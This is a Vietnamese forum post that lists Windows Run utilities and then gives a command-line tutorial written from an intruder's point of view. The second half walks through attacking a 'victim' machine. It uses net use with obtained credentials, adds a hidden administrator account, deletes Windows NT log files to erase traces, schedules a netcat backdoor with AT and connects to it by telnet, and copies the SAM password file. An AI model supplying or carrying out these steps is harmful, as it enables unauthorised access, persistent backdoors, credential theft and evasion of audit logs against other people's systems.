cobedautay_23

New Member
Để chạy một trong các chương trình này bạn vào menu Start >> Run và gõ tên file thực thi, Ví dụ như gõ: charmap và ấn Enter để chạy chương trình

1. Character Map = charmap.exe (rất có dụng trong chuyện tìm kiếm các ký tự bất thông dụng)

2. Disk Cleanup = cleanmgr.exe (dọn dẹp đĩa để tăng dung lượng trống)

3. Clipboard Viewer = clipbrd.exe (Xem nội dung của Windows clipboard)

4. Dr Watson = drwtsn32.exe (Công cụ gỡ rối)

5. DirectX diagnosis = dxdiag.exe (Chẩn đoán và thử DirectX, card màn hình & card âm thanh)

6. Private character editor = eudcedit.exe (cho phép làm ra (tạo) ra hay sửa đổi các ký tự(nhân vật?))

7. IExpress Wizard = iexpress.exe (Tạo ra các file nén tự bung hay các file tự cài đặt)

8. Mcft Synchronization Manager = mobsync.exe (cho phép cùng bộ hóa thư mục trên mạng cho làm chuyện Offline. Không được cung cấp tài liệu rõ ràng).

9. Windows Media Player 5.1 = mplay32.exe (phiên bản cũ của Windows Media Player, rất cơ bản).

10. ODBC Data Source Administrator = odbcad32.exe (Làm một số chuyện với các cơ sở dữ liệu)

11. Object Packager = packager.exe (Làm chuyện với các đối tượng đóng gói cho phép chèn file vào, có các file trợ giúp toàn diện).

12. System Monitor = perfmon.exe (rất có ích, công cụ có tính cấu hình rất cao, cho bạn biết tất cả thứ bạn muốn biết về bất kỳ khía cạnh nào của hiệu suất PC, for uber-geeks only )

13. Program Manager = progman.exe (Legacy Windows 3.x desktop shell).

14. Remote Access phone book = rasphone.exe (Tài liệu là ảo, bất tồn tại).

15. Registry Editor = regedt32.exe [also regedit.exe] (dành cho chuyện chỉnh sửa Windows Registry).

16. Network shared folder wizard = shrpubw.exe (Tạo các thư mục được sẻ chia trên mạng).

17. File siganture verification tool = sigverif.exe

18. Volume Contro = sndvol32.exe (tui bổ sung cái này cho những người bị mất nó từ vùng thông báo của hệ thống).

19. System Configuration Editor = sysedit.exe (Sửa đổi System.ini & Win.ini tương tự như Win98! ).

20. Syskey = syskey.exe (bảo mật (an ninh) cơ sở dữ liệu tài khoản WinXP - cẩn thận khi sử dụng, Nó bất được cung cấp tài liệu nhưng hình như nó ngựa hóa tất cả các mật (an ninh) khẩu, tui bất chắc về chức năng đầy đủ của nó).

21. Mcft Telnet Client = telnet.exe

22. Driver Verifier Manager = verifier.exe (có vẻcoi nhưmột tiện ích theo dõi hoạt động của các Driver(trình điều khiển) phần cứng ,có thể có ích đối với người gặp sự cố với các Driver. Khộng được cung cấp tài liệu)

23. Windows for Workgroups Chat = winchat.exe (Xuất hiệncoi như1 tiện ích WinNT cũ cho phép chat trong mạng LAN,có file trợ giúp).

24. System configuration = msconfig.exe (Có thể sử dụng để quản lý các chương trình khởi động cùng với Windows)

25. gpedit.msc được sử dụng để quản lý các chính sách nhóm và các quyền hạn.

Nói chung là tất cả người cứ chạy Run rồi gõ mấy chữ tui tô màu đỏ vào và tìm hiểu một chút để biêt công dụng của nó

Nếu có đuôi exe thì có thể bỏ qua không cần gõ phần đuôi


1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: đất chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng đất chỉ IP hay tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận đất chỉ IP từ tên host - Tham số /l : Xác định độ rộng lớn của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tui nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). hay cũng có thể xác định máy tính đó có kết nối hay bất (Nếu bất kết nối,kết quả là Unknow host)....

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send: gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình windows NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có đất chỉ IP hay tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trongphòng chốngvi tính của trường tui thường dùng lệnh này để ghẹo tất cả người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các đất chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, đất chỉ IP, mặt nạ mạng...

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời (gian) trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm chuyện - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows vừa cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các sẻ chia tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên sẻ chia này.

8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***" - ip: đất chỉ IP của victim. - ***: user của máy victim - pass: password của user Giả sử ta có được user và pass của victim có IP là 68.135.23.25 trên net thì ta vừa có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi vừa add được user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho windows XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời (gian) gian cho chuyện thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý không thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : bất cho shutdown - Tham số -f : shutdown mà không thông báo - Tham số -c "comment" : lời thông báo trước khi shutdown - Tham số -d upx:yy : không rõ Code: shutdown \\ip (áp dụng windows NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được chỉ dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, không phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của windows NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh làm ra (tạo) ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hay là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui không rõ nên không thể chỉ dẫn chi tiết được)

14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời (gian) gian của victim, sau đó dùng lệnh AT để khởi động chương trình.

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi vừa copy troj hay backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và được copy lên máy victim rùi. Đầu tiên ta cần biết thời (gian) gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời (gian) gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim vừa dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx

17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\

18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables.

19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)

 
sao bạn không để nguồn vừa copy bài ? như vậy người ta sẽ có ấn tượng tốt hơn về bản quyền bài viết khi vào Vnz đó
 
Các chủ đề có liên quan khác
Tạo bởi Tiêu đề Blog Lượt trả lời Ngày
D Tổ chức các tình huống học tập và hướng dẫn học sinh tích cực, tự lực giải quyết vấn đề khi giảng dạy chương dòng điện trong các môi trường, vật lý 11 Luận văn Sư phạm 0
D Hướng dẫn Phân biệt các đời máy Ipad Hỏi đáp về thiết bị di động 0
H Giáo án điều chỉnh hướng dẫn học các môn lớp 2, năm 2016 - 2017 - Tuần 16 Luận văn Sư phạm 0
L Giáo án điều chỉnh hướng dẫn học các môn lớp 2, năm 2016 - 2017 - Tuần 17 Luận văn Sư phạm 0
N Giáo án điều chỉnh hướng dẫn học các môn lớp 2, năm 2016 - 2017 - Tuần 18 Luận văn Sư phạm 0
A Giáo án điều chỉnh hướng dẫn học các môn lớp 2, năm 2016 - 2017 - Tuần 19 Luận văn Sư phạm 0
X Giáo án điều chỉnh bài hướng dẫn học các môn lớp 2 - Năm 2016 - 2017 - Tuần 20 Luận văn Sư phạm 0
R PDF Hướng dẫn giải nhanh các dạng bài tập trắc nghiệm trọng tâm hóa vô cơ - lê thanh hải Khoa học Tự nhiên 0
N Thực trạng về mối quan hệ với các nhà cung cấp ở Hà Nội của công ty điều hành hướng dẫn du lịch Vinatour Luận văn Kinh tế 2
H Hướng dẫn kỹ thuật đánh giá lượng phát thải cho công nghiệp sản xuất các sản phẩm bơ sữa Luận văn Kinh tế 0

Các chủ đề có liên quan khác

Top